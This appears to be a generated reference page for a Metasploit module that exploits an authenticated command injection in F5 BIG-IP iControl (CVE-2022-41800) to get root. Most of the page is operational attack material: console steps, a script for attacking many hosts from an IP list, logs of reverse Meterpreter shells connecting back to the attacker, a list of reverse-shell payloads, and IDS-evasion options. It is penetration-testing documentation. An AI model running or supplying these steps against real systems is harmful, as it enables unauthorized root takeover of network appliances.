F5 BIG-IP iControl Authenticated RCE via RPM Creator - Metasploit
This page contains detailed information about how to use the exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: F5 BIG-IP iControl Authenticated RCE via RPM Creator
Module: exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
Source code: modules/exploits/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800.rb
Disclosure date: 2022-11-16
Last modification time: 2022-11-23 10:42:07 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2022-41622, CVE-2022-41800
This module exploits a newline injection into an RPM .rpmspec file that permits authenticated users to remotely execute commands. Successful exploitation results in remote code execution as the root user.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
Basic Usage
Using f5_icontrol_rpmspec_rce_cve_2022_41800 against a single host
Normally, you can use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 this way:
msf > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > show targets
... a list of targets ...
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > set TARGET target-id
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > show options
... show and set options ...
msf exploit(f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
Using f5_icontrol_rpmspec_rce_cve_2022_41800 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your f5_icontrol_rpmspec_rce_cve_2022_41800 will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
The vulnerable application is F5 Big-IP version 17.0.0.1 and below. It can be downloaded as a VMWare image for free (you have to create an account) from https://downloads.f5.com. You can register for a free 30-day trial if you like, but it's not required to test this.
Boot the VM and set an admin password by logging in with the default credentials (admin / admin). You'll need that password.
Verification Steps
- Install the application
- Start
msfconsole
- Do:
use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
- Do
set RHOST <target>
/set HttpUsername admin
/set HttpPassword <thepasswordyouchose>
- Do:
run
- You should get a session
Options
HttpUsername
/ HttpPassword
The account to authorize as - requires console access. The admin
account (which
is the default HttpUsername
) works great, if you have the password.
Scenarios
F5 Big-IP 17.0.0.1
This should be the normal experience:
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set RHOST 10.0.0.162
RHOST => 10.0.0.162
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set LHOST 10.0.0.179
LHOST => 10.0.0.179
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set HttpPassword iagotestbigip
HttpPassword => mybigippassword
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > set VERBOSE true
VERBOSE => true
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > exploit
[*] Started reverse TCP handler on 10.0.0.179:4444
[*] Creating an .rpmspec file on the target...
[*] Created spec file: /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[*] Building the RPM to trigger the payload...
[*] Sending stage (40168 bytes) to 10.0.0.162
[+] Deleted /var/config/rest/node/tmp/2fadbb5d-ed94-4b23-ba57-2f0d273d2bdc.spec
[+] Deleted /var/config/rest/node/tmp/RPMS/noarch/wOXt3-4.1.3-0.8.6.noarch.rpm
[*] Meterpreter session 2 opened (10.0.0.179:4444 -> 10.0.0.162:38556) at 2022-11-14 15:14:23 -0800
meterpreter > getuid
Server username: root
Go back to menu.
Msfconsole Usage
Here is how the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show info
Name: F5 BIG-IP iControl Authenticated RCE via RPM Creator
Module: exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800
Platform: Unix, Linux
Arch: cmd
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2022-11-16
Provided by:
Ron Bowes
Module side effects:
ioc-in-logs
artifacts-on-disk
Module stability:
crash-safe
Module reliability:
repeatable-session
Available targets:
Id Name
-- ----
0 Default
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword yes iControl password
HttpUsername admin yes iControl username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a newline injection into an RPM .rpmspec file
that permits authenticated users to remotely execute commands.
Successful exploitation results in remote code execution as the root
user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2022-41800
https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/
https://support.f5.com/csp/article/K97843387
https://support.f5.com/csp/article/K13325942
View the full module info with the info -d command.
Module Options
This is a complete list of options available in the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit:
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show options
Module options (exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword yes iControl password
HttpUsername admin yes iControl username
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.0.126 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Default
View the full module info with the info, or info -d command.
Advanced Options
Here is a complete list of advanced options supported by the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit:
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show advanced
Module advanced options (exploit/linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800):
Name Current Setting Required Description
---- --------------- -------- -----------
AllowNoCleanup false no Allow exploitation without the possibility of cleaning up files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS serve
rs
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate
) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv no The User-Agent header to use for all requests
:97.0) Gecko/20100101 Firefox/97.0
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
HttpCookie no An optional value to use for the Cookie HTTP header
HttpHostHeader no An optional value to use for the Host HTTP header
HttpReferer no An optional value to use for the Referer HTTP header
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugBuild false no Enable debugging for the Python meterpreter
MeterpreterDebugLogging no The Meterpreter debug logging configuration, see https://github.com/rapid7/metasploit-framework/wiki/Meter
preter-Debugging-Meterpreter-Sessions
MeterpreterTryToFork true no Fork a new process if the functionality is available
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOS
T
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
View the full module info with the info, or info -d command.
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 module can exploit:
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show targets
Exploit targets:
Id Name
-- ----
0 Default
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit:
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_inetd normal No Unix Command Shell, Bind TCP (inetd)
3 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
4 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
5 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
6 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
7 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
8 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
9 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
10 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
11 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
12 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
13 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
14 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
15 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
16 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
17 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
18 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
19 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
20 payload/cmd/unix/python/meterpreter/bind_tcp normal No Python Exec, Python Meterpreter, Python Bind TCP Stager
21 payload/cmd/unix/python/meterpreter/bind_tcp_uuid normal No Python Exec, Python Meterpreter, Python Bind TCP Stager with UUID Support
22 payload/cmd/unix/python/meterpreter/reverse_http normal No Python Exec, Python Meterpreter, Python Reverse HTTP Stager
23 payload/cmd/unix/python/meterpreter/reverse_https normal No Python Exec, Python Meterpreter, Python Reverse HTTPS Stager
24 payload/cmd/unix/python/meterpreter/reverse_tcp normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager
25 payload/cmd/unix/python/meterpreter/reverse_tcp_ssl normal No Python Exec, Python Meterpreter, Python Reverse TCP SSL Stager
26 payload/cmd/unix/python/meterpreter/reverse_tcp_uuid normal No Python Exec, Python Meterpreter, Python Reverse TCP Stager with UUID Support
27 payload/cmd/unix/python/meterpreter_bind_tcp normal No Python Exec, Python Meterpreter Shell, Bind TCP Inline
28 payload/cmd/unix/python/meterpreter_reverse_http normal No Python Exec, Python Meterpreter Shell, Reverse HTTP Inline
29 payload/cmd/unix/python/meterpreter_reverse_https normal No Python Exec, Python Meterpreter Shell, Reverse HTTPS Inline
30 payload/cmd/unix/python/meterpreter_reverse_tcp normal No Python Exec, Python Meterpreter Shell, Reverse TCP Inline
31 payload/cmd/unix/python/pingback_bind_tcp normal No Python Exec, Python Pingback, Bind TCP (via python)
32 payload/cmd/unix/python/pingback_reverse_tcp normal No Python Exec, Python Pingback, Reverse TCP (via python)
33 payload/cmd/unix/python/shell_bind_tcp normal No Python Exec, Command Shell, Bind TCP (via python)
34 payload/cmd/unix/python/shell_reverse_tcp normal No Python Exec, Command Shell, Reverse TCP (via python)
35 payload/cmd/unix/python/shell_reverse_tcp_ssl normal No Python Exec, Command Shell, Reverse TCP SSL (via python)
36 payload/cmd/unix/python/shell_reverse_udp normal No Python Exec, Command Shell, Reverse UDP (via python)
37 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
38 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
39 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
40 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
42 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
43 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
44 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
45 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
46 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
47 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
48 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
49 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
50 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
51 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
52 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
53 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
54 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
55 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
56 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
57 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
58 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
59 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
60 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
61 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
62 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
63 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
64 payload/cmd/windows/powershell/generic/debug_trap normal No Powershell Exec, Generic x86 Debug Trap
65 payload/cmd/windows/powershell/generic/tight_loop normal No Powershell Exec, Generic x86 Tight Loop
66 payload/generic/custom normal No Custom Payload
67 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
68 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
69 payload/generic/ssh/interact normal No Interact with Established SSH Connection
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/f5_icontrol_rpmspec_rce_cve_2022_41800) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::shuffle_get_params false no Randomize order of GET parameters
HTTP::shuffle_post_params false no Randomize order of POST parameters
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-r
andom)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Failed to send HTTP request
Here is a relevant code snippet related to the "Failed to send HTTP request" error message:
87: 'summary' => rand_text_alphanumeric(5..10)
88: }
89: }.to_json
90: })
91:
92: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:
96: json = result&.get_json_document
97: fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
88: }
89: }.to_json
90: })
91:
92: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:
96: json = result&.get_json_document
97: fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:
Server returned an unexpected response: HTTP/<RESULT.CODE>
Here is a relevant code snippet related to the "Server returned an unexpected response: HTTP/<RESULT.CODE>" error message:
89: }.to_json
90: })
91:
92: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:
96: json = result&.get_json_document
97: fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:
99: file_path = json['specFilePath']
Server didn't return valid JSON
Here is a relevant code snippet related to the "Server didn't return valid JSON" error message:
92: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
93: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
94: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code != 200
95:
96: json = result&.get_json_document
97: fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:
99: file_path = json['specFilePath']
100: fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
101: vprint_status("Created spec file: #{file_path}")
102: register_file_for_cleanup(file_path)
Server didn't return a specFilePath
Here is a relevant code snippet related to the "Server didn't return a specFilePath" error message:
95:
96: json = result&.get_json_document
97: fail_with(Failure::UnexpectedReply, "Server didn't return valid JSON") unless json
98:
99: file_path = json['specFilePath']
100: fail_with(Failure::UnexpectedReply, "Server didn't return a specFilePath") unless file_path
101: vprint_status("Created spec file: #{file_path}")
102: register_file_for_cleanup(file_path)
103:
104: # We can also use `exit 1` in the %check function to prevent this file
105: # from being created, rather than cleaning it up.. but that seems noisier?
Failed to send HTTP request
Here is a relevant code snippet related to the "Failed to send HTTP request" error message:
116: 'state' => {},
117: 'appName' => rand_text_alphanumeric(5..10),
118: 'packageDirectory' => '/tmp',
119: 'specFilePath' => file_path
120: }.to_json
121: })
122: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
123: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
124: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
125: end
126: end
Authentication failed
Here is a relevant code snippet related to the "Authentication failed" error message:
116: 'state' => {},
117: 'appName' => rand_text_alphanumeric(5..10),
118: 'packageDirectory' => '/tmp',
119: 'specFilePath' => file_path
120: }.to_json
121: })
122: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
123: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
124: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
125: end
126: end
Server returned an unexpected response: HTTP/<RESULT.CODE>
Here is a relevant code snippet related to the "Server returned an unexpected response: HTTP/<RESULT.CODE>" error message:
116: 'state' => {},
117: 'appName' => rand_text_alphanumeric(5..10),
118: 'packageDirectory' => '/tmp',
119: 'specFilePath' => file_path
120: }.to_json
121: })
122: fail_with(Failure::Unknown, 'Failed to send HTTP request') unless result
123: fail_with(Failure::NoAccess, 'Authentication failed') if result.code == 401
124: fail_with(Failure::UnexpectedReply, "Server returned an unexpected response: HTTP/#{result.code}") if result.code < 200 || result.code > 299
125: end
126: end
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Related Pull Requests
References
- CVE-2022-41800
- https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/
- https://support.f5.com/csp/article/K97843387
- https://support.f5.com/csp/article/K13325942
See Also
Check also the following modules related to this module:
- exploit/linux/http/f5_bigip_tmui_rce
- exploit/linux/http/f5_icall_cmd
- exploit/linux/http/f5_icontrol_exec
- exploit/linux/http/f5_icontrol_rce
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622
- exploit/linux/ssh/f5_bigip_known_privkey
- auxiliary/admin/networking/f5_config
- auxiliary/dos/http/f5_bigip_apm_max_sessions
- auxiliary/gather/f5_bigip_cookie_disclosure
- auxiliary/scanner/http/f5_bigip_virtual_server
- auxiliary/scanner/http/f5_mgmt_scanner
- post/networking/gather/enum_f5
- exploit/linux/http/apache_spark_rce_cve_2022_33891
- exploit/linux/http/cve_2019_1663_cisco_rmi_rce
- exploit/linux/http/flir_ax8_unauth_rce_cve_2022_37061
- exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684
- exploit/linux/http/geutebruck_cmdinject_cve_2021_335xx
- exploit/linux/http/hikvision_cve_2021_36260_blind
- exploit/linux/http/sonicwall_cve_2021_20039
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/linux/http/vmware_workspace_one_access_cve_2022_22954
- exploit/linux/http/zimbra_cpio_cve_2022_41352
- exploit/linux/http/zimbra_mboximport_cve_2022_27925
- exploit/linux/http/zimbra_unrar_cve_2022_30333
- exploit/linux/fileformat/unrar_cve_2022_30333
- exploit/linux/local/cve_2021_3490_ebpf_alu32_bounds_check_lpe
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/cve_2021_38648_omigod
- exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
- exploit/linux/local/cve_2022_0847_dirtypipe
- exploit/linux/local/cve_2022_0995_watch_queue
- exploit/linux/misc/cve_2020_13160_anydesk
- exploit/linux/misc/cve_2021_38647_omigod
Authors
- Ron Bowes
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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